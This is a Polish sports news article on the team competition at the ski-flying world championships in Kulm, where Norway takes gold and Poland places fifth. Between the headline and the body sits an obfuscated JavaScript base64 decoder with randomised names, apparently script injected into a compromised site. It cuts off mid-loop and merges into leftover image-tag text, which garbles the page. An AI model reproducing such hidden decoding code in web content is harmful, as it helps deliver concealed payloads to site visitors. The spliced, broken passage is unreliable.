MŚ w lotach Kulm: Norwegowie nokautują i zdobywają złoto, Polacy na 5. miejscu

function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ande, Fannemel) na podium mistrzostw świata w lotach, fot. Julia Piątkowska” width=”960″ height=”638″ />Norwegowie nie pozwolili żadnej z reprezentacji wyrwać sobie z rąk złotego medalu, który wielu przepowiadało im już przed zawodami. Skoczkowie Stoeckla latali daleko, ale przede wszystkim równo, a dzięki temu wyprzedzili Niemców i Austriaków z rewelacyjnie spisującym się dziś Stefanem Kraftem. Polacy zajęli ostatecznie przyzwoite, 5. miejsce, a udane loty zaprezentował Kamil Stoch.

Jeśli ktokolwiek liczył na pasjonującą walkę o tytuł drużynowego mistrza świata w lotach, to raczej się rozczarował. Ani przez chwilę Norwegowie nie dali rywalom choćby cienia złudzeń i nadziei na odebranie im miana najlepszych lotników na świecie. Wszyscy czterej podopieczni Stoeckla skakali powyżej 200. metra i żaden z nich nie zaliczył choćby jednej słabszej próby. Najmocniejszym ogniwem był indywidualnie 4. Anders Fannemel, jednak inni nie ustępowali mu kroku – Gangnes, Tande i Forfang zajęli indywidualnie odpowiednio 6., 7. i 8. miejsce, a czterech lotników w dziesiątce dało niebotyczną przewagę ponad 100 punktów nad resztą stawki.

Drugie miejsce przypadło Niemcom, choć na półmetku to Austriacy cieszyli się ze srebra. Druga kolejka przyniosła jednak sporo słabych skoków. Swoją próbę zepsuli Poppinger (150,5 metra), Fettner (156,5 metra), a formą imponował jedynie Stefan Kraft, który zanotował loty na 225,5 i 230 metrów. Ostatecznie podopieczni Kuttina przegrali srebro aż o 47 punktów. Tym samym Severin Freund osłodził sobie brak indywidualnego medalu, plasując się wraz z kolegami na drugiej lokacie. Był najsilniejszym i najrówniejszym punktem zespołu, uzyskując najpierw 219 metrów, a następnie pół metra mniej.  W jego ślady nie poszedł jednak choćby Stephan Leyhe, którego słaby pierwszy skok (168 metrów) oddalił Niemców od czołówki.   

Zawiedli Słoweńcy, którzy, jak się wydawało, mieli szansę na walkę nawet o złoto. Niestety, zupełnie zepsute skoki Jurija Tepesa (170,0 / 157,0 metrów) zaprzepaściły wszelkie marzenia o medalu. Nie pomogły nawet wyśmienite loty Prevca, który indywidualnie znów zdystansował stawkę, uzyskując najpierw 228 metrów, a następnie dokładając do tego kolejne 10. Powyżej 200. metrów latał jeszcze jedynie Robert Kranjec (209,5 / 211,5 metra), ale dwóch skoczków prezentujących wysoką formę to na konkurs drużynowy zdecydowanie za mało.

Polacy zajęli piąte miejsce, którego mogliśmy się spodziewać. W końcu do wysokiej i godnej dwukrotnego mistrza olimpijskiego formy powraca Kamil Stoch, który dwukrotnie szybował powyżej 200 metrów - 207 oraz 202,5 metra dały indywidualnie 11. lokatę. Początkowo w dalekich lotach towarzyszył mu Murańka, uzyskując w otwierającej odsłonie 203,0 metry, ale w finale lądował aż 33 metry bliżej. Zawiódł Dawid Kubacki - po wspaniałych zmaganiach indywidualnych skoczka z Szaflar dopadł kryzys i dziś nie był w stanie wykrzesać z siebie więcej niż 166,0 i 190,0 metrów. Stefan Hula nie doskoczył ani razu do 200. metra, ale był pewnym i równym członkiem ekipy prowadzonej na MŚwL przez Kruczka, zapisując na swoim koncie 191,5 i 189,5 metra.  

Wyniki:

Wyniki indywidualne:

Wyniki pierwszej serii >>>

 informacja własna